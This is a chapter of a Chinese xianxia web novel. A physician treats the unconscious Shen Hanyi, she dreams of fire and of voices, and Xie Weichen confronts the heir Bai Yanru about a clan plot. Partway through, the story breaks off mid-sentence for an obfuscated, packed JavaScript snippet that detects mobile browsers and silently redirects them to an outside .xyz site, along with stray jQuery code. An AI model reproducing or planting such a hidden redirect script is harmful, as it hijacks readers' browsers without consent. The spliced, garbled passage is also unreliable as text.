岑溪为人不温不火,说话总是让人觉得可靠。不像文老,从他口中出来的话好像得再三确认。
谢微尘前脚从文老手中拿了丹药,心中还满腹怀疑。如今听了岑溪的保证,概不提信任与否,只撂下一个得体又疏离的浅笑。
岑溪视而不见,走向床榻道:“微尘,你先出去。”
话音落了但没动静。
她转过身,毫无意外地发现谢微尘连半步都没挪。
“我为沈姑娘针灸,你在此多有不便。”
话刚说话,蓦地,两侧床幔顺溜地滑了下来,遮住岑溪的视线。眼前顿时朦胧一片,她看不见谢微尘的神情。
只感觉他转了过去,道:“您忙。”
岑溪无可奈何。前几日还一口一个“岑姨岑姨”的叫着,如今防备起来却也不含糊。即便不能看着她下针,也要留下,不让人与沈姑娘独处。
她心里暗暗想了一瞬,随后便将心思全数收回,放在自己的病人身上。
沈寒衣的状况很不好。意识昏昏沉沉,沦陷在梦境亦或幻境之中。
起先,她眼前还是那日主院厢房的火,手中还搀扶着几乎无力行走的白姝。可一个眨眼的功夫,火朝她扑了过来。
沈寒衣下意识要把白姝往身后揽,但手一伸,只摸到了穿院的风。
人不见了。
待她再转头时,厢房也消失了,只剩下火焰。天地更辽阔,火势更大。冲天的滚滚黑烟刺进沈寒衣失神的瞳孔。
这火里有血腥。
“月乌,跑吧。你若能活,乌目的子民便有了希望。”
一道声音平缓如水,流进心间。陌生的语气却让沈寒衣连灵魂都似乎为之一颤。
“你是谁?”
黑烟占据她整个视野,对方就隐身在浓烟里。沈寒衣听见自己这样问,声线里竟掺了几分微颤。
没有人回答,她向前迈半步,转而又多了一道新的声音环绕在耳边。
飘飘忽忽地贴来。
“殿下,不要忘记回家的路。”
说话的人还年轻,嗓音像浸了露水。本该清润,可说到后半句突然变了声调。
变得急促,尖锐,扭曲:“伊兰等着殿下回来。”
轰!
眼前景象潮水般褪去,声响全部消散,世界寂静无比。
沈寒衣终于听见熟悉的声音,那是她自己。
“还没想起来么?他们在老故乡等着你。”
短短几句话,却能让人的脑袋一下僵住,堵塞起来无法应对。
沈寒衣正要追问,忽然感觉额头和脸颊一热。似乎有什么东西点在上面,轻柔划过,最终落在她耳后。
“寒衣,为什么不记得先保护自己呢……”
怎么会有谢微尘的声音?
她感到怪异,下意识地眨眨眼,再睁开时却望进了一双闪着细碎光芒的眼眸。
少年的手还悬在半空未曾收回,为她整理发丝的动作陡然僵住。从表情到举动都透露出几分猝不及防的怔忡。
“你、醒了。”
“嗯。谢微尘,你吵醒我了。”
沈寒衣很认真地说,但眼神里没有丝毫责怪与不耐烦。
“我错了。不过要是再给一次机会,还是要吵醒你。”他边说边搭上脉,问:“有哪里不舒服吗?”
沈寒衣摇头。
她的脉象能把出来了,不像昏迷时那样微弱。灵力稍有些紊乱,但还算稳定。
“要坐起来吗?”
沈寒衣现下还有些乏力,可躺着说话实在别扭,于是选择靠在床边。
谢微尘倒有眼力见,人立马靠过去扶她,道:“我帮你。”
“你昏睡三日有余了,两日前岑大夫给你扎针,说是以此稳定你的心魂。我原以为不靠谱,没想到还算管用。所以,你真的魂魄不稳了?”
沈寒衣没有正面回答。
“我做了一个梦。梦里有人告诉我,我不该再等了。”她格外耐心地多说了几句,又继续道:“大长老那里……”
对面的少年递来一杯热水,打断了她的话:“我知道。但你现下不宜出面,我已经有了拿到法咒办法。”
谢微尘所说的办法就是与某个举足轻重的人合作。
“前夜,家主对外宣布认白晏如为义子。昨日,大比结束,白晏如胜过一群谢氏同辈族人,夺得冠首。这样一来,他就是毋庸置疑的继任家主。”
正说着,他不知想起了什么,极淡的笑容从脸上划过。
“封印虺那次,他欠我一个人情。也到了该还的时候。”
谢微尘没有细说计划,因为此时外面有脚步声靠近。
他只好中断话头,聊起别的。
于是,岑溪推门进来时,就看见这两日一直冷脸待人的谢微尘,正绘声绘色地给床榻上刚醒来的姑娘讲述元稚、荆薇等一干人的关心。
“沈姑娘。”
看见人醒了,她并不惊讶,似乎早有预料。
沈寒衣冲她点头:“多谢。”
岑溪打开药箱取出了针灸需要的用物,她拿着东西过来先给沈寒衣把脉。
“姑娘再针灸最后一次,便可安心了。”
不知是谁松了口气。
谢微尘看着岑溪放下床幔,视线对上沈寒衣的目光,道:“那个,我先出去处理别的事。”
“今日不留下监督我这假神医了?”
床幔已经彻底放下,谢微尘听见榻上的人因躺下而发出的窸窣微响,意识到自己这两日的举动已被她知晓,心里总归有些过不去。
哪怕知道沈寒衣会明白他的行为,但还是忍不住按常理来想。按理来说,他不该留的。不过可惜,他按的是自己的理。
“走了。”
谢微尘没解释,推门出去了。
屋内,岑溪听着他走远才解开沈寒衣腰间的系带,将银针扎进腰间。
“老身方才失言了。只顾调侃那小子,忽略了姑娘的感受。”
“无妨,我明白。”怕她听不懂,沈寒衣还补充了一句:“他是至性之人。”
岑溪将针全部扎好,这才接话:“白姝小姐待他不算亲厚。可微尘偏偏如姑娘所说,是至性之人,对情感尤为执着。更何况是亲情。”
“文老说,这些年小姐待微尘越是冷漠,他就越是不明白,越是不放弃。弄
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16100192|170327||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
得满腹心事,又一无所获。如今有姑娘做朋友,还这样帮忙,是他的福气。”
沈寒衣没吭声,帮忙?她没觉得自己帮过谢微尘什么大忙,若说帮谢家,倒确实帮过几次。
岑溪扎好了针,走到桌边点燃了香炉。这香对稳固亡息和心魂有很大助益。
沈寒衣闻着微带苦涩的香气,再度进入梦境。
雨过天晴,天空一碧如洗,唯独绚烂的晚霞缀在天边,增添几分明丽的色彩。照得少年的玄色衣袍都似乎在发亮。
谢微尘再度走在石子路上,步履轻快许多。眼下,他得去会会那位下任家主了。
白晏如的身份已然定下,作为家主亲子的谢大公子就陷入了一种较为尴尬的境地。
待到白晏如上位,他便是要地位没地位,要实力没实力的闲散客了。
不比白晏如,现在就为深入学习相关事宜忙得不可开交。
谢微尘到时,他正批示谢氏各地分支送来的信件。
太投入,以至于来了人都不知道。还是谢微尘咳了一声,他才抬头看来,眼中的厉色都还未及收敛。
谢微尘没立刻进来,目光再次扫过桌案上摊开的文书。他的眼神很淡,带着几分漫不经心。叫人看不真切,却也不温和。
“大公子。”
白晏如起身过来迎他。
谢微尘慢悠悠迈了两步:“这么不设防,就不怕外人将这些东西都偷看了?”
“家主和大公子要进这院子,无人会阻拦。”
谢微尘讥笑一声,避开了摞满文书的桌案,站在边上说话。
“三长老与五长老携宝出逃,中原世家已没有不知晓的。昨日天蒙蒙亮的时候,宿氏家主来了。我猜,你们会对他说,那夜被偷走的宝贝就是众世家一直苦寻不见的灭鬼法器。”
“对吗?”他眼中毫无无波澜。
白晏如听了这无端的揣测,很平静,甚至带着了然的笑意,透出一股稳当劲儿。
“我早知道你会猜出来。面对你,这件事便不是绝密了。毕竟,你查了唐冯山,几乎知道他的一切。”
“如果你们想靠宿家主身边那个内鬼放消息,让唐冯山误以为东西不在大言山,从而放弃攻破结界,改成满天下搜寻三长老与五长老踪迹的话,那就太蠢了。”
谢微尘直言不讳:“唐冯山又不是傻子,这么明显的套会跳进去?”
他早就料到谢氏会得知他攻破结界的事,也料到谢氏必然设法阻挠,定会对元无山做出的一切都保持戒心。
“不过,你们也不是傻子。怎会看不出这计划并不能永除后患?除非……”
谢微尘拖长了尾调:“这只是虚晃一招。”
“杀阵是我母亲布下的,专杀三长老与五长老。他们肯定已经死在了那夜,兴许尸骨无存。而从杀阵逃出去的两人,是二长老与四长老吧。你们最初的目的就是杀了他们,算计唐冯山不过是顺便。”
从一开始,白姝就没想过这个计划能真正骗过唐冯山。可耽误他一两天的注意力,让他把视线暂且从大言山撤回来就足够了。
“你们真正的计划是,完全避开崔氏眼线,潜入大言山。”